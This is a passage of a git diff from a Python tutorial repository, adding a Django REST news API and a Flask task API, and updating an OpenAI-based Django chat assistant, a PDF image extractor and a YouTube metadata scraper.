models.CharField(max_length=60) + bio = models.CharField(max_length=200) + def __str__(self): + return f"{ self.first_name } - { self.last_name }" + +class Article(models.Model): + author = models.ForeignKey(Journalist, + on_delete=models.CASCADE, + related_name='articles') + title = models.CharField(max_length=120) + description = models.CharField(max_length=200) + body = models.TextField() + location = models.CharField(max_length=120) + publication_date = models.DateField(auto_now_add=True) + + def __str__(self): + return f"{ self.author } - { self.title }" diff --git a/web-programming/news_project/news_app/serializers.py b/web-programming/news_project/news_app/serializers.py new file mode 100644 index 00000000..cb7f2cf7 --- /dev/null +++ b/web-programming/news_project/news_app/serializers.py @@ -0,0 +1,27 @@ +from rest_framework import serializers +from .models import * + +class JournalistSerializer(serializers.Serializer): + first_name = serializers.CharField(max_length=60) + last_name = serializers.CharField(max_length=60) + bio = serializers.CharField() + +class ArticleSerializer(serializers.Serializer): + title = serializers.CharField() + description = serializers.CharField() + body = serializers.CharField() + location = serializers.CharField() + author_id = serializers.IntegerField() + + def create(self, validated_data): + return Article.objects.create(**validated_data) + + def update(self, instance, validated_data): + instance.title = validated_data.get('title', instance.title) + instance.description = validated_data.get('description', instance.description) + instance.body = validated_data.get('body', instance.body) + instance.author_id = validated_data.get('author_id', instance.author_id) + instance.location = validated_data.get('location', instance.location) + instance.publication_date = validated_data.get('publication_date', instance.publication_date) + instance.save() + return instance diff --git a/web-programming/news_project/news_app/tests.py b/web-programming/news_project/news_app/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/news_project/news_app/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/news_project/news_app/urls.py b/web-programming/news_project/news_app/urls.py new file mode 100644 index 00000000..affc3eab --- /dev/null +++ b/web-programming/news_project/news_app/urls.py @@ -0,0 +1,10 @@ +from django.urls import path +from .views import JournalistView, ArticleView, ArticleDetailView + +app_name="news_app" + +urlpatterns=[ + path('journalist/', JournalistView.as_view() ), + path('article/', ArticleView.as_view() ), + path('article//', ArticleDetailView.as_view()), +] diff --git a/web-programming/news_project/news_app/views.py b/web-programming/news_project/news_app/views.py new file mode 100644 index 00000000..9540db8d --- /dev/null +++ b/web-programming/news_project/news_app/views.py @@ -0,0 +1,42 @@ +from django.shortcuts import render + +from rest_framework.response import Response +from rest_framework.views import APIView + +from .models import * +from .serializers import JournalistSerializer, ArticleSerializer +# Create your views here. +from rest_framework.generics import get_object_or_404 + + +class JournalistView(APIView): + def get (self, request): + journalists = Journalist.objects.all() + serializer = JournalistSerializer(journalists, many=True) + return Response({"journalists":serializer.data}) + +class ArticleView(APIView): + def get (self, request): + articles = Article.objects.all() + serializer = ArticleSerializer(articles, many=True) + return Response({"articles":serializer.data}) + + def post(self, request): + serializer = ArticleSerializer(data=request.data) + if serializer.is_valid(raise_exception=True): + saved_article = serializer.save() + return Response({"success": "Article '{}' created successfully".format(saved_article.title)}) + + +class ArticleDetailView(APIView): + def put(self, request, pk): + saved_article = get_object_or_404(Article.objects.all(), pk=pk) + serializer = ArticleSerializer(instance=saved_article, data=request.data, partial=True) + if serializer.is_valid(raise_exception=True): + article_saved = serializer.save() + return Response({"success": "Article '{}' updated successfully".format(article_saved.title)}) + + def delete(self, request, pk): + article = get_object_or_404(Article.objects.all(), pk=pk) + article.delete() + return Response({"message": "Article with id `{}` has been deleted.".format(pk)},status=204) diff --git a/web-programming/news_project/news_project/__init__.py b/web-programming/news_project/news_project/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/news_project/news_project/asgi.py b/web-programming/news_project/news_project/asgi.py new file mode 100644 index 00000000..984b7960 --- /dev/null +++ b/web-programming/news_project/news_project/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for news_project project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'news_project.settings') + +application = get_asgi_application() diff --git a/web-programming/news_project/news_project/settings.py b/web-programming/news_project/news_project/settings.py new file mode 100644 index 00000000..4647e327 --- /dev/null +++ b/web-programming/news_project/news_project/settings.py @@ -0,0 +1,125 @@ +""" +Django settings for news_project project. + +Generated by 'django-admin startproject' using Django 4.1.2. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.1/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-*#k+r4uiqb!=o1sn7!c(i%f)9t00s4gmzjzurmznvbphey3ie2' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + 'news_app', + 'rest_framework', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'news_project.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'news_project.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.1/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.1/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.1/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/news_project/news_project/urls.py b/web-programming/news_project/news_project/urls.py new file mode 100644 index 00000000..ff163cdf --- /dev/null +++ b/web-programming/news_project/news_project/urls.py @@ -0,0 +1,22 @@ +"""news_project URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/4.1/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path,include + +urlpatterns = [ + path('admin/', admin.site.urls), + path('api/',include('news_app.urls')), +] diff --git a/web-programming/news_project/news_project/wsgi.py b/web-programming/news_project/news_project/wsgi.py new file mode 100644 index 00000000..712af45f --- /dev/null +++ b/web-programming/news_project/news_project/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for news_project project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'news_project.settings') + +application = get_wsgi_application() diff --git a/web-programming/news_project/requirements.txt b/web-programming/news_project/requirements.txt new file mode 100644 index 00000000..d80bd138 --- /dev/null +++ b/web-programming/news_project/requirements.txt @@ -0,0 +1,2 @@ +django +djangorestframework \ No newline at end of file diff --git a/web-programming/restful-api-flask/README.md b/web-programming/restful-api-flask/README.md new file mode 100644 index 00000000..33cae8c8 --- /dev/null +++ b/web-programming/restful-api-flask/README.md @@ -0,0 +1 @@ +# [How to Create a RESTful API with Flask in Python](https://www.thepythoncode.com/article/create-a-restful-api-with-flask-in-python) \ No newline at end of file diff --git a/web-programming/restful-api-flask/app.py b/web-programming/restful-api-flask/app.py new file mode 100644 index 00000000..32e7fcf8 --- /dev/null +++ b/web-programming/restful-api-flask/app.py @@ -0,0 +1,22 @@ +from flask import Flask +from flask_restful import Api +from models import db +import config +from resources import TaskList + +# Create the Flask application and the Flask-RESTful API manager. +app = Flask(__name__) +app.config.from_object(config) +# Initialize the Flask-SQLAlchemy object. +db.init_app(app) +# Create the Flask-RESTful API manager. +api = Api(app) +# Create the endpoints. +api.add_resource(TaskList, '/tasks') + +if __name__ == '__main__': + # Create the database tables. + with app.app_context(): + db.create_all() + # Start the Flask development web server. + app.run(debug=True) diff --git a/web-programming/restful-api-flask/config.py b/web-programming/restful-api-flask/config.py new file mode 100644 index 00000000..3974b455 --- /dev/null +++ b/web-programming/restful-api-flask/config.py @@ -0,0 +1 @@ +SQLALCHEMY_DATABASE_URI = 'sqlite:///tasks.db' \ No newline at end of file diff --git a/web-programming/restful-api-flask/models.py b/web-programming/restful-api-flask/models.py new file mode 100644 index 00000000..3d792130 --- /dev/null +++ b/web-programming/restful-api-flask/models.py @@ -0,0 +1,11 @@ +from flask_sqlalchemy import SQLAlchemy + +db = SQLAlchemy() + +class Task(db.Model): + id = db.Column(db.Integer, primary_key=True) + description = db.Column(db.String(200), nullable=False) # nullable=False means that the column cannot be empty + + def __repr__(self): + # This method is used to print the object. + return f'Task {self.id}: {self.description}' diff --git a/web-programming/restful-api-flask/requirements.txt b/web-programming/restful-api-flask/requirements.txt new file mode 100644 index 00000000..d3d142f8 --- /dev/null +++ b/web-programming/restful-api-flask/requirements.txt @@ -0,0 +1,3 @@ +Flask +Flask-RESTful +Flask-SQLAlchemy \ No newline at end of file diff --git a/web-programming/restful-api-flask/resources.py b/web-programming/restful-api-flask/resources.py new file mode 100644 index 00000000..ea917f7c --- /dev/null +++ b/web-programming/restful-api-flask/resources.py @@ -0,0 +1,29 @@ +from flask_restful import Resource +from flask import request +from models import Task, db + +class TaskList(Resource): + def get(self): + # Get all the tasks from the database. + tasks = Task.query.all() + # Convert the tasks to JSON and return a response. + task_list = [{'id': task.id, 'description': task.description} for task in tasks] + return {'tasks': task_list} + + def post(self): + # Get the JSON data from the request. + task_data = request.get_json() + # Check if the data is valid. + if not task_data: + return {'message': 'No input data provided'}, 400 + description = task_data.get('description') + if not description: + return {'message': 'Description is required'}, 400 + # Add the task to the database. + new_task = Task(description=description) + db.session.add(new_task) + # Commit the task to the database. + db.session.commit() + # Return a message to the user. + return {'message': 'Task added', 'task': {'id': new_task.id, 'description': new_task.description}} + diff --git a/web-programming/restful-api-flask/tasks.db b/web-programming/restful-api-flask/tasks.db new file mode 100644 index 00000000..6273f7df Binary files /dev/null and b/web-programming/restful-api-flask/tasks.db differ diff --git a/web-programming/webassistant/assistant/templates/assistant/home.html b/web-programming/webassistant/assistant/templates/assistant/home.html index 76ad6e64..8ca690b3 100644 --- a/web-programming/webassistant/assistant/templates/assistant/home.html +++ b/web-programming/webassistant/assistant/templates/assistant/home.html @@ -1,43 +1,35 @@ {% extends 'assistant/base.html' %} - {% block title %} Home {% endblock %} - {% block content %}
-
-

A.I WEB ASSISTANT

-
- -
Hello, am your web assistant here to help you, what's on your mind?
- +
+ +
+
+ {% for message in messages %} +
+
+ {{ message.role|title }}: {{ message.content|linebreaksbr }} +
+
+ {% endfor %} +
{% csrf_token %} - - + + -
- -
- -
-                {{ formatted_response }}
-              
-
-
-
- -
-{% endblock %} \ No newline at end of file +{% endblock %} diff --git a/web-programming/webassistant/assistant/urls.py b/web-programming/webassistant/assistant/urls.py index 462768cf..94d8d242 100644 --- a/web-programming/webassistant/assistant/urls.py +++ b/web-programming/webassistant/assistant/urls.py @@ -5,6 +5,7 @@ # a list of all the urls urlpatterns = [ - path('home/', views.home, name='home'), + path('', views.home, name='home'), + path('new_chat/', views.new_chat, name='new_chat'), path('error-handler/', views.error_handler, name='error_handler'), ] \ No newline at end of file diff --git a/web-programming/webassistant/assistant/views.py b/web-programming/webassistant/assistant/views.py index a0bc2e5c..2d5b573d 100644 --- a/web-programming/webassistant/assistant/views.py +++ b/web-programming/webassistant/assistant/views.py @@ -4,43 +4,66 @@ import openai # import the generated API key from the secret_key file from .secret_key import API_KEY - - # loading the API key from the secret_key file openai.api_key = API_KEY - # this is the home view for handling home page logic def home(request): - # the try statement is for sending request to the API and getting back the response - # formatting it and rendering it in the template try: - # checking if the request method is POST + # if the session does not have a messages key, create one + if 'messages' not in request.session: + request.session['messages'] = [ + {"role": "system", "content": "You are now chatting with a user, provide them with comprehensive, short and concise answers."}, + ] + if request.method == 'POST': - # getting prompt data from the form + # get the prompt from the form prompt = request.POST.get('prompt') - # making a request to the API - response = openai.Completion.create(model="text-davinci-003", prompt=prompt, temperature=1, max_tokens=1000) - # formatting the response input - formatted_response = response['choices'][0]['text'] - # bundling everything in the context + # get the temperature from the form + temperature = float(request.POST.get('temperature', 0.1)) + # append the prompt to the messages list + request.session['messages'].append({"role": "user", "content": prompt}) + # set the session as modified + request.session.modified = True + # call the openai API + response = openai.ChatCompletion.create( + model="gpt-3.5-turbo", + messages=request.session['messages'], + temperature=temperature, + max_tokens=1000, + ) + # format the response + formatted_response = response['choices'][0]['message']['content'] + # append the response to the messages list + request.session['messages'].append({"role": "assistant", "content": formatted_response}) + request.session.modified = True + # redirect to the home page context = { - 'formatted_response': formatted_response, - 'prompt': prompt + 'messages': request.session['messages'], + 'prompt': '', + 'temperature': temperature, } - # this will render the results in the home.html template return render(request, 'assistant/home.html', context) - # this runs if the request method is GET else: - # this will render when there is no request POST or after every POST request - return render(request, 'assistant/home.html') - - # the except statement will capture any error - except: - # this will redirect to the 404 page after any error is caught + # if the request is not a POST request, render the home page + context = { + 'messages': request.session['messages'], + 'prompt': '', + 'temperature': 0.1, + } + return render(request, 'assistant/home.html', context) + except Exception as e: + print(e) + # if there is an error, redirect to the error handler return redirect('error_handler') +def new_chat(request): + # clear the messages list + request.session.pop('messages', None) + return redirect('home') + + # this is the view for handling errors def error_handler(request): return render(request, 'assistant/404.html') diff --git a/web-programming/webassistant/webassistant/urls.py b/web-programming/webassistant/webassistant/urls.py index e01875f7..c30ec629 100644 --- a/web-programming/webassistant/webassistant/urls.py +++ b/web-programming/webassistant/webassistant/urls.py @@ -6,5 +6,5 @@ # the url to the admin site path('admin/', admin.site.urls), # registering all the assistant application urls - path('webassistant/', include('assistant.urls')), + path('', include('assistant.urls')), ] diff --git a/web-scraping/currency-converter/currency_converter_currencyapi.py b/web-scraping/currency-converter/currency_converter_currencyapi.py new file mode 100644 index 00000000..f70c57c8 --- /dev/null +++ b/web-scraping/currency-converter/currency_converter_currencyapi.py @@ -0,0 +1,48 @@ +import requests +import urllib.parse as p + +API_KEY = "" +base_url = "https://api.currencyapi.com/v3/" + +# utility function that both functions will use +def get_currencyapi_data(endpoint, date=None, base_currency="USD", print_all=True): + """Get the list of currency codes from the API""" + # construct the url + url = p.urljoin(base_url, + f"{endpoint}?apikey={API_KEY}{'' if endpoint == 'latest' else f'&date={date}'}&base_currency={base_currency}") + # make the request + res = requests.get(url) + # get the json data + data = res.json() + # print all the currency codes and their values + c = 0 + if print_all: + for currency_code, currency_name in data.get("data").items(): + print(f"{currency_code}: {currency_name.get('value')}") + c += 1 + + print(f"Total: {c} currencies") + if endpoint == "latest": + # get the last updated date + last_updated = data.get("meta").get("last_updated_at") + print(f"Last updated: {last_updated}") + return data + +def get_latest_rates(base_currency="USD", print_all=True): + """Get the latest rates from the API""" + return get_currencyapi_data(endpoint="latest", base_currency=base_currency, print_all=print_all) + +def get_historical_rates(base_currency="USD", print_all=True, date="2023-01-01"): + """Get the historical rates from the Currency API + `date` must be in the format of YYYY-MM-DD""" + return get_currencyapi_data(endpoint="historical", base_currency=base_currency, date=date, print_all=print_all) + + +if __name__ == "__main__": + latest_rates = get_latest_rates() + print(f"\n{'-'*50}\n") + # get the historical rates for the date 2021-01-01 + historical_rates = get_historical_rates(date="2021-01-01", print_all=False) + # get EUR rate, for example + eur_rate = historical_rates.get("data").get("EUR").get("value") + print(f"EUR rate on 2021-01-01: {eur_rate}") \ No newline at end of file diff --git a/web-scraping/pdf-image-extractor/README.md b/web-scraping/pdf-image-extractor/README.md index cd99ee53..3f3826ff 100644 --- a/web-scraping/pdf-image-extractor/README.md +++ b/web-scraping/pdf-image-extractor/README.md @@ -12,4 +12,20 @@ To run this: [+] Found a total of 3 images in page 2 [!] No images found on page 3 [!] No images found on page 4 + ``` +- To extract and save all images of 800x800 and higher of `1710.05006.pdf` PDF file, and save them in `images` directory in the PNG format, you run: + ``` + python pdf_image_extractor_cli.py 1710.05006.pdf -o extracted-images -f png -w 800 -he 800 + ``` + This will save all available images in the `images` directory and outputs: + ``` + [!] No images found on page 0 + [+] Found a total of 3 images in page 1 + [-] Skipping image 1 on page 1 due to its small size. + [-] Skipping image 2 on page 1 due to its small size. + [-] Skipping image 3 on page 1 due to its small size. + [+] Found a total of 3 images in page 2 + [-] Skipping image 2 on page 2 due to its small size. + [!] No images found on page 3 + [!] No images found on page 4 ``` \ No newline at end of file diff --git a/web-scraping/pdf-image-extractor/pdf_image_extractor.py b/web-scraping/pdf-image-extractor/pdf_image_extractor.py index 8f4b1129..2e873aec 100644 --- a/web-scraping/pdf-image-extractor/pdf_image_extractor.py +++ b/web-scraping/pdf-image-extractor/pdf_image_extractor.py @@ -1,31 +1,48 @@ -import fitz # PyMuPDF +import os +import fitz # PyMuPDF import io from PIL import Image -# file path you want to extract images from +# Output directory for the extracted images +output_dir = "extracted_images" +# Desired output image format +output_format = "png" +# Minimum width and height for extracted images +min_width = 100 +min_height = 100 +# Create the output directory if it does not exist +if not os.path.exists(output_dir): + os.makedirs(output_dir) +# File path you want to extract images from file = "1710.05006.pdf" -# open the file +# Open the file pdf_file = fitz.open(file) -# iterate over PDF pages +# Iterate over PDF pages for page_index in range(len(pdf_file)): - # get the page itself + # Get the page itself page = pdf_file[page_index] - # get image list - image_list = page.get_images() - # printing number of images found in this page + # Get image list + image_list = page.get_images(full=True) + # Print the number of images found on this page if image_list: print(f"[+] Found a total of {len(image_list)} images in page {page_index}") else: - print("[!] No images found on page", page_index) + print(f"[!] No images found on page {page_index}") + # Iterate over the images on the page for image_index, img in enumerate(image_list, start=1): - # get the XREF of the image + # Get the XREF of the image xref = img[0] - # extract the image bytes + # Extract the image bytes base_image = pdf_file.extract_image(xref) image_bytes = base_image["image"] - # get the image extension + # Get the image extension image_ext = base_image["ext"] - # load it to PIL + # Load it to PIL image = Image.open(io.BytesIO(image_bytes)) - # save it to local disk - image.save(open(f"image{page_index+1}_{image_index}.{image_ext}", "wb")) \ No newline at end of file + # Check if the image meets the minimum dimensions and save it + if image.width >= min_width and image.height >= min_height: + image.save( + open(os.path.join(output_dir, f"image{page_index + 1}_{image_index}.{output_format}"), "wb"), + format=output_format.upper()) + else: + print(f"[-] Skipping image {image_index} on page {page_index} due to its small size.") diff --git a/web-scraping/pdf-image-extractor/pdf_image_extractor_cli.py b/web-scraping/pdf-image-extractor/pdf_image_extractor_cli.py new file mode 100644 index 00000000..2eccc896 --- /dev/null +++ b/web-scraping/pdf-image-extractor/pdf_image_extractor_cli.py @@ -0,0 +1,58 @@ +import os +import fitz # PyMuPDF +import io +from PIL import Image +import argparse + +parser = argparse.ArgumentParser(description="Extract images from a PDF file.") +parser.add_argument("file", help="PDF file to extract images from.") +parser.add_argument("-o", "--output", help="Output directory for the extracted images.", default="extracted_images") +parser.add_argument("-f", "--format", help="Desired output image format, default is PNG.", default="png") +parser.add_argument("-w", "--width", help="Minimum width for extracted images, default is 100.", default=100, type=int) +parser.add_argument("-he", "--height", help="Minimum height for extracted images, default is 100.", default=100, type=int) +# Parse the arguments +args = parser.parse_args() + +# Output directory for the extracted images +output_dir = args.output +# Desired output image format +output_format = args.format +# Minimum width and height for extracted images +min_width = args.width +min_height = args.height +# Create the output directory if it does not exist +if not os.path.exists(output_dir): + os.makedirs(output_dir) +# File path you want to extract images from +file = args.file +# Open the file +pdf_file = fitz.open(file) +# Iterate over PDF pages +for page_index in range(len(pdf_file)): + # Get the page itself + page = pdf_file[page_index] + # Get image list + image_list = page.get_images(full=True) + # Print the number of images found on this page + if image_list: + print(f"[+] Found a total of {len(image_list)} images in page {page_index}") + else: + print(f"[!] No images found on page {page_index}") + # Iterate over the images on the page + for image_index, img in enumerate(image_list, start=1): + # Get the XREF of the image + xref = img[0] + # Extract the image bytes + base_image = pdf_file.extract_image(xref) + image_bytes = base_image["image"] + # Get the image extension + image_ext = base_image["ext"] + # Load it to PIL + image = Image.open(io.BytesIO(image_bytes)) + # Check if the image meets the minimum dimensions and save it + if image.width >= min_width and image.height >= min_height: + image.save( + open(os.path.join(output_dir, f"image{page_index + 1}_{image_index}.{output_format}"), "wb"), + format=output_format.upper()) + else: + print(f"[-] Skipping image {image_index} on page {page_index} due to its small size.") diff --git a/web-scraping/youtube-extractor/extract_video_info.py b/web-scraping/youtube-extractor/extract_video_info.py index 042ce4f8..bed184b0 100644 --- a/web-scraping/youtube-extractor/extract_video_info.py +++ b/web-scraping/youtube-extractor/extract_video_info.py @@ -1,92 +1,150 @@ -from requests_html import HTMLSession -from bs4 import BeautifulSoup as bs +import requests +from bs4 import BeautifulSoup import re import json - -# init session -session = HTMLSession() - +import argparse def get_video_info(url): - # download HTML code - response = session.get(url) - # execute Javascript - response.html.render(timeout=60) - # create beautiful soup object to parse HTML - soup = bs(response.html.html, "html.parser") - # open("index.html", "w").write(response.html.html) - # initialize the result - result = {} - # video title - result["title"] = soup.find("meta", itemprop="name")['content'] - # video views - result["views"] = soup.find("meta", itemprop="interactionCount")['content'] - # video description - result["description"] = soup.find("meta", itemprop="description")['content'] - # date published - result["date_published"] = soup.find("meta", itemprop="datePublished")['content'] - # get the duration of the video - result["duration"] = soup.find("span", {"class": "ytp-time-duration"}).text - # get the video tags - result["tags"] = ', '.join([ meta.attrs.get("content") for meta in soup.find_all("meta", {"property": "og:video:tag"}) ]) - - # Additional video and channel information (with help from: https://stackoverflow.com/a/68262735) - data = re.search(r"var ytInitialData = ({.*?});", soup.prettify()).group(1) - data_json = json.loads(data) - videoPrimaryInfoRenderer = data_json['contents']['twoColumnWatchNextResults']['results']['results']['contents'][0]['videoPrimaryInfoRenderer'] - videoSecondaryInfoRenderer = data_json['contents']['twoColumnWatchNextResults']['results']['results']['contents'][1]['videoSecondaryInfoRenderer'] - # number of likes - likes_label = videoPrimaryInfoRenderer['videoActions']['menuRenderer']['topLevelButtons'][0]['toggleButtonRenderer']['defaultText']['accessibility']['accessibilityData']['label'] # "No likes" or "###,### likes" - likes_str = likes_label.split(' ')[0].replace(',','') - result["likes"] = '0' if likes_str == 'No' else likes_str - # number of likes (old way) doesn't always work - # text_yt_formatted_strings = soup.find_all("yt-formatted-string", {"id": "text", "class": "ytd-toggle-button-renderer"}) - # result["likes"] = ''.join([ c for c in text_yt_formatted_strings[0].attrs.get("aria-label") if c.isdigit() ]) - # result["likes"] = 0 if result['likes'] == '' else int(result['likes']) - # number of dislikes - YouTube does not publish this anymore... - # result["dislikes"] = ''.join([ c for c in text_yt_formatted_strings[1].attrs.get("aria-label") if c.isdigit() ]) - # result["dislikes"] = '0' if result['dislikes'] == '' else result['dislikes'] - result['dislikes'] = 'UNKNOWN' - # channel details - channel_tag = soup.find("meta", itemprop="channelId")['content'] - # channel name - channel_name = soup.find("span", itemprop="author").next.next['content'] - # channel URL - # channel_url = soup.find("span", itemprop="author").next['href'] - channel_url = f"https://www.youtube.com/%7Bchannel_tag%7D" - # number of subscribers as str - channel_subscribers = videoSecondaryInfoRenderer['owner']['videoOwnerRenderer']['subscriberCountText']['accessibility']['accessibilityData']['label'] - # channel details (old way) - # channel_tag = soup.find("yt-formatted-string", {"class": "ytd-channel-name"}).find("a") - # # channel name (old way) - # channel_name = channel_tag.text - # # channel URL (old way) - # channel_url = f"https://www.youtube.com{channel_tag['href']}" - # number of subscribers as str (old way) - # channel_subscribers = soup.find("yt-formatted-string", {"id": "owner-sub-count"}).text.strip() - result['channel'] = {'name': channel_name, 'url': channel_url, 'subscribers': channel_subscribers} - return result + """ + Extract video information from YouTube using modern approach + """ + headers = { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' + } + + try: + # Download HTML code + response = requests.get(url, headers=headers) + response.raise_for_status() + + # Create beautiful soup object to parse HTML + soup = BeautifulSoup(response.text, "html.parser") + + # Initialize the result + result = {} + + # Extract ytInitialData which contains all the video information + data_match = re.search(r'var ytInitialData = ({.*?});', response.text) + if not data_match: + raise Exception("Could not find ytInitialData in page") + + data_json = json.loads(data_match.group(1)) + + # Get the main content sections + contents = data_json['contents']['twoColumnWatchNextResults']['results']['results']['contents'] + + # Extract video information from videoPrimaryInfoRenderer + if 'videoPrimaryInfoRenderer' in contents[0]: + primary = contents[0]['videoPrimaryInfoRenderer'] + + # Video title + result["title"] = primary['title']['runs'][0]['text'] + + # Video views + result["views"] = primary['viewCount']['videoViewCountRenderer']['viewCount']['simpleText'] + + # Date published + result["date_published"] = primary['dateText']['simpleText'] + + # Extract channel information from videoSecondaryInfoRenderer + secondary = None + if 'videoSecondaryInfoRenderer' in contents[1]: + secondary = contents[1]['videoSecondaryInfoRenderer'] + owner = secondary['owner']['videoOwnerRenderer'] + + # Channel name + channel_name = owner['title']['runs'][0]['text'] + + # Channel ID + channel_id = owner['navigationEndpoint']['browseEndpoint']['browseId'] + + # Channel URL - FIXED with proper /channel/ path + channel_url = f"https://www.youtube.com/channel/%7Bchannel_id%7D" + + # Number of subscribers + channel_subscribers = owner['subscriberCountText']['accessibility']['accessibilityData']['label'] + + result['channel'] = { + 'name': channel_name, + 'url': channel_url, + 'subscribers': channel_subscribers + } + + # Extract video description + if secondary and 'attributedDescription' in secondary: + description_runs = secondary['attributedDescription']['content'] + result["description"] = description_runs + else: + result["description"] = "Description not available" + + # Try to extract video duration from player overlay + # This is a fallback approach since the original method doesn't work + duration_match = re.search(r'"approxDurationMs":"(\d+)"', response.text) + if duration_match: + duration_ms = int(duration_match.group(1)) + minutes = duration_ms // 60000 + seconds = (duration_ms % 60000) // 1000 + result["duration"] = f"{minutes}:{seconds:02d}" + else: + result["duration"] = "Duration not available" + + # Extract video tags if available + video_tags = [] + if 'keywords' in data_json.get('metadata', {}).get('videoMetadataRenderer', {}): + video_tags = data_json['metadata']['videoMetadataRenderer']['keywords'] + result["tags"] = ', '.join(video_tags) if video_tags else "No tags available" + + # Extract likes (modern approach) + result["likes"] = "Likes count not available" + result["dislikes"] = "UNKNOWN" # YouTube no longer shows dislikes + + # Try to find likes in the new structure + for content in contents: + if 'compositeVideoPrimaryInfoRenderer' in content: + composite = content['compositeVideoPrimaryInfoRenderer'] + if 'likeButton' in composite: + like_button = composite['likeButton'] + if 'toggleButtonRenderer' in like_button: + toggle = like_button['toggleButtonRenderer'] + if 'defaultText' in toggle: + default_text = toggle['defaultText'] + if 'accessibility' in default_text: + accessibility = default_text['accessibility'] + if 'accessibilityData' in accessibility: + label = accessibility['accessibilityData']['label'] + if 'like' in label.lower(): + result["likes"] = label + + return result + + except Exception as e: + raise Exception(f"Error extracting video info: {str(e)}") if __name__ == "__main__": - import argparse parser = argparse.ArgumentParser(description="YouTube Video Data Extractor") parser.add_argument("url", help="URL of the YouTube video") args = parser.parse_args() + # parse the video URL from command line url = args.url - data = get_video_info(url) + try: + data = get_video_info(url) - # print in nice format - print(f"Title: {data['title']}") - print(f"Views: {data['views']}") - print(f"Published at: {data['date_published']}") - print(f"Video Duration: {data['duration']}") - print(f"Video tags: {data['tags']}") - print(f"Likes: {data['likes']}") - print(f"Dislikes: {data['dislikes']}") - print(f"\nDescription: {data['description']}\n") - print(f"\nChannel Name: {data['channel']['name']}") - print(f"Channel URL: {data['channel']['url']}") - print(f"Channel Subscribers: {data['channel']['subscribers']}") + # print in nice format + print(f"Title: {data['title']}") + print(f"Views: {data['views']}") + print(f"Published at: {data['date_published']}") + print(f"Video Duration: {data['duration']}") + print(f"Video tags: {data['tags']}") + print(f"Likes: {data['likes']}") + print(f"Dislikes: {data['dislikes']}") + print(f"\nDescription: {data['description']}\n") + print(f"\nChannel Name: {data['channel']['name']}") + print(f"Channel URL: {data['channel']['url']}") + print(f"Channel Subscribers: {data['channel']['subscribers']}") + + except Exception as e: + print(f"Error: {e}") + print("\nNote: YouTube frequently changes its structure, so this script may need updates.") \ No newline at end of file diff --git a/web-scraping/youtube-transcript-summarizer/README.md 